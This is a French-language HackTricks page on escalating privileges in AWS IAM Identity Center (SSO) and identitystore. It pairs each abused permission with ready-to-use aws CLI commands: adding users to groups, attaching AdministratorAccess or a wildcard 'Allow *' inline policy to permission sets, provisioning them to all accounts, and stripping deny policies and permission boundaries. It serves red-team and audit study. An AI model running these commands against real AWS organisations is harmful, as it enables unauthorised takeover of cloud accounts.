AWS - SSO & identitystore Privesc

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

AWS Identity Center / AWS SSO

Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez :

AWS - IAM, Identity Center & SSO Enum

warning

Notez que, par défaut, seuls les utilisateurs disposant de permissions du Management Account pourront accéder et contrôler l'IAM Identity Center.
Les utilisateurs d'autres comptes ne peuvent le faire que si le compte est un Delegated Administrator.
Check the docs for more info.

Réinitialiser le mot de passe

Une manière simple d'escalader les privilèges dans ce genre de cas serait d'avoir une permission permettant de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible que d'envoyer un e-mail à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'e-mail de l'utilisateur.

identitystore:CreateGroupMembership

Avec cette permission, il est possible d'ajouter un utilisateur à un groupe afin qu'il hérite de toutes les permissions du groupe.

bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un user sous son contrôle

bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant disposant de cette permission pourrait accorder des autorisations supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrôle.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrôle.

warning

Pour abuser de ces permissions dans ce cas, vous devez connaître le nom d'une customer managed policy qui est présente DANS TOUS les comptes qui seront affectés.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Un attaquant ayant cette autorisation pourrait attribuer un Permission Set à un utilisateur qu'il contrôle sur un compte.

bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Renvoie les identifiants temporaires STS pour un rôle donné attribué à l'utilisateur.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Cependant, vous avez besoin d'un access token que je ne sais pas comment obtenir (TODO).

sso:DetachManagedPolicyFromPermissionSet

Un attaquant disposant de cette permission peut supprimer l'association entre un managed policy AWS et le permission set spécifié. Il est possible d'obtenir plus de privilèges en détachant un managed policy (deny policy).

bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un attacker disposant de cette permission peut supprimer l'association entre une Customer managed policy et le permission set spécifié. Il est possible d'accorder davantage de privilèges en détachant une managed policy (deny policy).

bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un attaquant disposant de cette permission peut supprimer les permissions d'une inline policy du permission set. Il est possible d'accorder davantage de privilèges en détachant une inline policy (deny policy).

bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un attaquant disposant de cette permission peut supprimer le Permission Boundary du permission set. Il est possible d'accorder plus de privilèges en supprimant les restrictions sur le Permission Set imposées par le Permission Boundary.

bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks